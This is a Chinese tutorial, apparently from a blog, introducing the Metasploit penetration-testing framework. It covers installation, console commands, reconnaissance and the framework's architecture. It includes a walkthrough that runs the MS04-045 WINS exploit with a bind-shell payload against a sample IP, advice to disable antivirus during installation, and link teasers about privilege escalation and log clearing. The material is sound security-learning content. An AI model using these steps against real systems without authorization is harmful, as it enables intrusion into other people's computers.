Metaspolit介绍

Metasploit是一款开源的安全漏洞检测工具,安全工作人员常用 Metasploit工具来检测系统的安全性。Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。

Metaspolit安装

从官方网站http://www.metasploit.cn下载windows版本的安装版,直接安装即可。 温馨提示:请关闭防火墙和杀毒软件。

Metaspolit的使用

Metasploit目前提供了三种用户使用接口:

  • Console模式:功能最全面,建议使用;
  • GUI模式:用户友好度最高,但功能不是最完整的;
  • CLI模式:命令行模式,用于批量处理。

Metaspolit的Console模式介绍

Console模式启动

通常启动较慢,需等待10分钟左右,开始界面如下:

加载完毕后如图所示:

常用指令介绍

A 帮助指令--- ?/help

B 查看所有的漏洞脚本---show exploits

C 查看某个脚本的信息---info exploit/windows/wins/ms04_045_wins

渗透过程演示

如果确定使用什么脚本进行攻击的时候,则用以下指令按步骤进行操作

1 使用某个脚本 use exploit/windows/wins/ms04_045_wins

2 查看脚本的具体操作选项 show options

3 配置参数

set RHOST 192.168.1.200 设置目标

set RPORT 7777 设置端口

set PAYLOAD generic/shell_bind_tcp 设置使用的shellcode

4 exploit 执行攻击

5 当打开了session时表示攻击成功

辅助扫描漏洞

比如NMAP,OPENVAS,SQLMAP和自带的扫描器等,更方便收集系统的情报。通常来说,我们从几个方面来扫描比较合适:

1 网站的目录dir_scanner扫描器可以扫到页面,通过返回的404,403等code判断页面是否存在是否需要权限进入;

2 使用NMAP扫描目标服务器的端口,得到服务器的详细版本信息有利于选择渗透的方法;

3 使用SSH,TELNET,数据库端口扫描,扫描服务是否存在;

4 口令密码的探测,主要是对弱密码的破解;

5 网站的扫描,W3AF,SQLMAP等开源工具扫描出是否存在XSS和SQL注入。

Metasploit攻击方法分类

exploits 总的来说共分为两类溢出(exploit)攻击方法,即主动溢出和被动溢出。主动溢出是针对目标主机的漏洞主动的进行攻击以获得控制权限,被动溢出是针对 目标主机被动的监听然后获得相应的操作。在所有的exploit中,针对windows平台的最多,比其它所有平台的总和还要多。 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲 区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。 缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用程序中广泛存在。利用缓冲区溢出可民导致程序运行失败、系统死机、重新启动等后,也可以 利用其获得非授权指令,甚至系统特权,进而进行各种非法的操作。

Metasploit的架构

Metasploit Framework并不止具有exploit(溢出)收集功能,它使你专注于创建自己的溢出模块或者二次开发。很少的一部分用汇编和C语言实现,其余均由ruby实现。总体架构如图所示:

TOOLS 集成了各种实用工具,多数为收集的其它软件 PLUGINS 各种插件,多数为收集的其它软件。直接调用其API,但只能在console模式下工作。 MODULES 目前的Metasploit Framework 的各个模块 MSF core 表示Metasploit Framework core 提供基本的API,并且定义了MSF的框架。并将各个子系统集成在一起。组织比较散乱,不建议更改。 MSF Base 提供了一些扩展的、易用的API以供调用,允许更改Rex LIBRARIES Metasploit Framework中所包含的各种库,是类、方法和模块的集合 CLI 表示命令行界面 GUI 图形用户界面 Console 控制台用户界面 Web 网页界面,目前已不再支持 Exploits 定义实现了一些溢出模块,不含payload的话是一个Aux Payload 由一些可动态运行在远程主机上的代码组成 Nops 用以产生缓冲区填充的非操作性指令 Aux 一些辅助模块,用以实现辅助攻击,如端口扫描工具 Encoders 重新进行编码,用以实现反检测功能等

/postgresql/lib/plugins主要是postgresql的调试插件和分析插件。还有一些其它的插件,比如ruby插件等。

/tools 主要是一些辅助工具,如vncviewer、7za等。 /msf3/tools主要是一些转化工具,如memdump、ruby工具等。 MSF core定义了整个软件的架构方式,提供了一些基本的API,主要由汇编和C语言来实现,一般情况下不允许直接调用。共有136个汇编文件,7个.h文 件,681个.C文件。MSF core组织的比较散乱,不建议更改。 汇编部分主要完成的是与相应的操作系统(如windows、linux等)有关的功能,主要是shellcode的实现等。 C语言完成的功能比较多,主要是meterpreter的实现和一些工具性的应用,包括ruby相关、内存相关(如memdump.c,属于 memdump软件包,用于在DOS和Windows 9x 中dump或copy 4GB以内的地址空间)、网络相关(pcaprub.c,属于libpcap软件包的一部分,是ruby中网络的一部分)、反检测相关 (timestomp.c,属于timestomp软件,用于修改文件的时间戳)等。其工具性的应用多是直接来自于其它工具软件。 Meterpreter是MSF core中最重要的一部分,其本身是一个具有多种功能的动态payload,并且可以在运行时动态扩展。它提供了交互式shell的基础。整个运行在内存 当中,但它并不创建新的进程,并且使用了加密的通信方法,能有效避免检测。 MSF base分布在很多文件夹当中,定义了大量的实用API,例如svn API、scan API、encode API、更新API、操作API、数据库API、exploit API、GUI API、java API、meterpreter API、php API、snmp API、模块API、ruby API、网络API等。主要供modules下的相关程序进行调用,开发人员也可直接调用其API。

/msf3/plugins主要包括一些数据库插件、会话插件、线程插件、socket插件等;

Metasploit的二次开发

Metasploit 中的类和方法具有很好的可读性,并且采用了元编程的思想,使得进行二次开发更加方便快捷。简单的说一个程序能够产生另一个程序,就是元编程。ruby、 python等均可方便的采用元编程思想。metasploit中前四个字母正好是meta,猜测其是Metaprogramming的含义。 Metasploit中所有的模块都从Msf::Module中继承,并且所有的模块有一个共享的API库。 在Metasploit中修改的exploit、payload等模块时,直接找到相应的文件修改并保存,重新启动console即可看到自己修改后的模 块的效果。 在metasploit当中增加exploit、auxiliary等模块时,最快捷的方法是仿照现有的模块方式、使用metasploit中提供的协议 (比如使用metasploit中的socket方法,而不使用ruby中的socket方法,meterpreter对socket进行的封装和扩展功 能,使用起来更加方便,增加了代理、ssh等特征)。模块写好后放在相应的目录,重新启动console即可看到自己所增加的模块部分。 下面是一些攻击经常使用的模块的位置。 auxiliary模块位于/msf3/modules/auxiliary/下。 Exploits模块位于/msf3/modules/exploits/下。 Payloads模块位于/msf3/modules/payloads/下。 Nops模块位于/msf3/modules/nops下。 Encoders模块位于/msf3/modules/encoders/下。 另外在core部分也有一些exploit、aux等,其作用是为上述的攻击部分提供基础,被上述模块调用。在windows或是在linux中都使用上 述方法进行二次开发。后面会详细的介绍新增一个exploit的方法和过程。

Metaspolit的更多相关文章

  1. Xssf配合metaspolit使用

    安装xssf download:  svn export http://xssf.googlecode.com/svn/trunk /home/User/xssf install: svn expor ...

  2. metaspolit 命令大全

    一.msfconsole相关命令 二.database 三.autopwn自动化攻击工具 四.metaspolit常见渗透命令大全

  3. kail linux 系统下利用metaspolit工具渗透win7电脑

     注:只是测试,不可干违法的事. 一.metaspolit工具的介绍 1.1.metaspolit 是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新.被安全社区冠以“可以黑掉整个宇 ...

  4. Metaspolit使用简介

    信息收集阶段 Whois信息收集 msf auxiliary > whois baidu.com 域名信息查询阶段 msf auxiliary > nslookup www.baidu.c ...

  5. 关于metaspolit中进行JAVA反序列化渗透RMI的原理分析

    一.背景: 这里需要对java反序列化有点了解,在这里得推广下自己的博客嘛,虽然写的不好,广告还是要做的.原谅我: 1.java反序列化漏洞原理研习 2.java反序列化漏洞的检测 二.攻击手法简介 ...

  6. metaspolit下UAC提权以及日志清除

    在获得webshell时但权限不够大,这时候为了完全获得受害者机器的权限,使用msf进行后渗透. 一.获取Meterpreter会话 Meterpreter 是msf的一个payload,目标执行之后 ...

  7. metaspolit 基础

    在kali中使用metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据库查询exploit和记录了.这一点比bt5要方便很多,所以现在 ...

  8. metaspolit教程

    网上的安装方式都是抄来抄去,我也抄了下,不过好歹自己试了下,有所不同 git clone https://github.com/rapid7/metasploit-framework.git vim ...

  9. Metaspolit工具----基础

    Metasploit框架(Metasploit Framework,MSF)是一个开源工具,旨在方便渗透测试,他是有Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发.使用定制的 ...

随机推荐

  1. mysql中计算两个日期的时间差函数TIMESTAMPDIFF用法

    mysql中计算两个日期的时间差函数TIMESTAMPDIFF用法: 语法: TIMESTAMPDIFF(interval,datetime_expr1,datetime_expr2) 说明: 返回日 ...

  2. python 添加 threadpool

    操作系统: Ubuntu 10.04 python安装依赖的软件包: python 出现 ImportError: No module named ** 我这里出现了: ImportError: No ...

  3. vim实用配置

    "编码set encoding=utf-8"显示行号set number"语法高亮度显示syntax on "自动缩进set autoindent"t ...

  4. jQuery deferred 使用心得

    因为项目的原因,我接触到了jQuery deferred 的这个神奇的工具,下面我用几个例子,与大家分享我的感悟. 我们有5个很耗时的函数 分别为fA.fB.fC.fD.fE  我们的需求是fA和fB ...

  5. 2、SpringBoot+Mybatis整合------一对一

    开发工具:STS 代码下载链接:https://github.com/theIndoorTrain/SpringBoot_Mybatis01/tree/93398da60c647573645917b2 ...

  6. Maven tomcat插件 远程发布【Learn】

    Tomcat配置修改: ①.conf/tomcat-users.xml <role rolename="manager-gui"/> <role rolename ...

  7. jquery 表单事件

    .blur() 当元素失去焦点的时候触发事件. .blur(handler(eventObject)) handler(eventObject) 每当事件触发时候执行的函数. .blur([event ...

  8. mpvue重构小程序之坑点1

    对于最近刚做的项目,想着用框架重新架构一遍,方便以后拓展,毕竟现在拓展方向非常大. 目前主要碰到两个略坑的问题: 1: 关于用户授权信息的按钮,原生是以下方式,使用bindgetuserinfo事件 ...

  9. Java高并发之线程基本操作

    结合上一篇同步异步,这篇理解线程操作. 1.新建线程.不止thread和runnable,Callable和Future了解一下 package com.thread; import java.tex ...

  10. aop设计原理

    本文摘自 博文--<Spring设计思想>AOP设计基本原理 0.前言 Spring 提供了AOP(Aspect Oriented Programming) 的支持, 那么,什么是AOP呢 ...